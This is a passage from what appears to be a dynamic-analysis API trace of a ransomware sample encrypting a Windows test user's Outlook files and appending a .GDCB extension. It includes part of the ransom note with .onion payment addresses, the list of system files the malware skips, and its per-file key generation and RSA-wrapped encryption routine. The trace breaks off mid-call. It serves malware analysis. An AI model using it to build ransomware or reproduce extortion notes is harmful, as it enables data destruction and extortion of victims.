http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.235] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.235] CloseHandle (hObject=0x4f8) returned 1 [0054.235] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.236] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\") returned 56 [0054.236] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*" [0054.236] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b87f0 [0054.236] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.236] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.236] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.236] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.236] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.236] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.236] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.236] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\GDCB-DECRYPT.txt" [0054.236] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.236] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\GDCB-DECRYPT.txt") returned 72 [0054.236] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\GDCB-DECRYPT.txt") returned 72 [0054.236] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\GDCB-DECRYPT.txt") returned 72 [0054.236] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\GDCB-DECRYPT.txt") returned 72 [0054.236] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.236] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.237] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.237] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.237] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.237] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.237] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.237] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.237] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.237] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.237] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.237] lstrcmpW (lpString1="Outlook.srs", lpString2=".") returned 1 [0054.237] lstrcmpW (lpString1="Outlook.srs", lpString2="..") returned 1 [0054.237] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="Outlook.srs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" [0054.237] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.237] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned 67 [0054.237] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned 67 [0054.237] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned 67 [0054.237] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned 67 [0054.237] lstrcmpiW (lpString1="Outlook.srs", lpString2="desktop.ini") returned 1 [0054.237] lstrcmpiW (lpString1="Outlook.srs", lpString2="autorun.inf") returned 1 [0054.237] lstrcmpiW (lpString1="Outlook.srs", lpString2="ntuser.dat") returned 1 [0054.237] lstrcmpiW (lpString1="Outlook.srs", lpString2="iconcache.db") returned 1 [0054.237] lstrcmpiW (lpString1="Outlook.srs", lpString2="bootsect.bak") returned 1 [0054.237] lstrcmpiW (lpString1="Outlook.srs", lpString2="boot.ini") returned 1 [0054.237] lstrcmpiW (lpString1="Outlook.srs", lpString2="ntuser.dat.log") returned 1 [0054.237] lstrcmpiW (lpString1="Outlook.srs", lpString2="thumbs.db") returned -1 [0054.237] lstrcmpiW (lpString1="Outlook.srs", lpString2="GDCB-DECRYPT.txt") returned 1 [0054.237] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.srs")) returned 0x20 [0054.238] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", dwFileAttributes=0x20) returned 1 [0054.239] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0054.239] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" [0054.239] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.GDCB" [0054.239] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58ff08) returned 1 [0054.240] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.240] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.240] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.240] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0054.240] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0054.240] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.241] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5901b0) returned 1 [0054.241] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.241] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.241] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.241] CryptGenRandom (in: hProv=0x5901b0, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0054.241] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0054.241] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.241] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0054.242] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0054.242] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x5902c0) returned 1 [0054.244] CryptImportKey (in: hProv=0x5902c0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b8cf0) returned 1 [0054.245] CryptGetKeyParam (in: hKey=0x5b8cf0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.245] CryptEncrypt (in: hKey=0x5b8cf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0054.245] GetLastError () returned 0x0 [0054.245] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0054.245] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58fc60) returned 1 [0054.248] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b8b70) returned 1 [0054.248] CryptGetKeyParam (in: hKey=0x5b8b70, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.248] CryptEncrypt (in: hKey=0x5b8b70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0054.248] GetLastError () returned 0x0 [0054.248] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.248] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.srs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.248] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0054.249] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0054.249] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0xa00, lpOverlapped=0x0) returned 1 [0054.255] VirtualAlloc (lpAddress=0x0, dwSize=0xa00, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0054.255] VirtualAlloc (lpAddress=0x0, dwSize=0xa00, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0054.255] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.255] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0054.255] WriteFile (in: hFile=0x4fc, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285ed30*=0xa00, lpOverlapped=0x0) returned 1 [0054.256] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.256] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.260] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.260] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.260] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285ed30*=0x10, lpOverlapped=0x0) returned 1 [0054.260] CloseHandle (hObject=0x4fc) returned 1 [0054.261] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.261] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.261] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.261] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.srs"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.srs.gdcb")) returned 1 [0054.262] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.262] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.262] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.262] lstrcmpW (lpString1="Outlook.xml", lpString2=".") returned 1 [0054.262] lstrcmpW (lpString1="Outlook.xml", lpString2="..") returned 1 [0054.262] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="Outlook.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" [0054.262] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.263] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned 67 [0054.263] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned 67 [0054.263] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned 67 [0054.263] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned 67 [0054.263] lstrcmpiW (lpString1="Outlook.xml", lpString2="desktop.ini") returned 1 [0054.263] lstrcmpiW (lpString1="Outlook.xml", lpString2="autorun.inf") returned 1 [0054.263] lstrcmpiW (lpString1="Outlook.xml", lpString2="ntuser.dat") returned 1 [0054.263] lstrcmpiW (lpString1="Outlook.xml", lpString2="iconcache.db") returned 1 [0054.263] lstrcmpiW (lpString1="Outlook.xml", lpString2="bootsect.bak") returned 1 [0054.263] lstrcmpiW (lpString1="Outlook.xml", lpString2="boot.ini") returned 1 [0054.263] lstrcmpiW (lpString1="Outlook.xml", lpString2="ntuser.dat.log") returned 1 [0054.263] lstrcmpiW (lpString1="Outlook.xml", lpString2="thumbs.db") returned -1 [0054.263] lstrcmpiW (lpString1="Outlook.xml", lpString2="GDCB-DECRYPT.txt") returned 1 [0054.263] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.xml")) returned 0x20 [0054.263] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", dwFileAttributes=0x20) returned 1 [0054.264] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0054.264] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" [0054.264] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.GDCB" [0054.264] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58fc60) returned 1 [0054.264] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.265] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.265] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.265] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0054.265] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.265] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.265] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58fc60) returned 1 [0054.265] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.266] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.266] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.266] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0054.266] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.266] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.266] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0054.266] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0054.266] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58fc60) returned 1 [0054.268] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b8bf0) returned 1 [0054.268] CryptGetKeyParam (in: hKey=0x5b8bf0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.268] CryptEncrypt (in: hKey=0x5b8bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0054.268] GetLastError () returned 0x0 [0054.268] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.268] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58ff08) returned 1 [0054.270] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b8830) returned 1 [0054.270] CryptGetKeyParam (in: hKey=0x5b8830, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.270] CryptEncrypt (in: hKey=0x5b8830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0054.270] GetLastError () returned 0x0 [0054.270] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0054.271] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.271] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0054.271] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0054.271] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0x956, lpOverlapped=0x0) returned 1 [0054.277] VirtualAlloc (lpAddress=0x0, dwSize=0x960, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0054.277] VirtualAlloc (lpAddress=0x0, dwSize=0x960, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0054.277] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.277] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-2390, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0054.277] WriteFile (in: hFile=0x4fc, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x960, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285ed30*=0x960, lpOverlapped=0x0) returned 1 [0054.277] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.277] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.280] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.281] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.281] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285ed30*=0x10, lpOverlapped=0x0) returned 1 [0054.281] CloseHandle (hObject=0x4fc) returned 1 [0054.281] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.282] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.282] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.282] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.xml.gdcb")) returned 1 [0054.284] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.284] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.284] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.284] FindClose (in: hFindFile=0x5b87f0 | out: hFindFile=0x5b87f0) returned 1 [0054.284] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.284] lstrcmpW (lpString1="PowerPoint", lpString2=".") returned 1 [0054.284] lstrcmpW (lpString1="PowerPoint", lpString2="..") returned 1 [0054.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="PowerPoint" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint" [0054.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\" [0054.284] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.284] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files 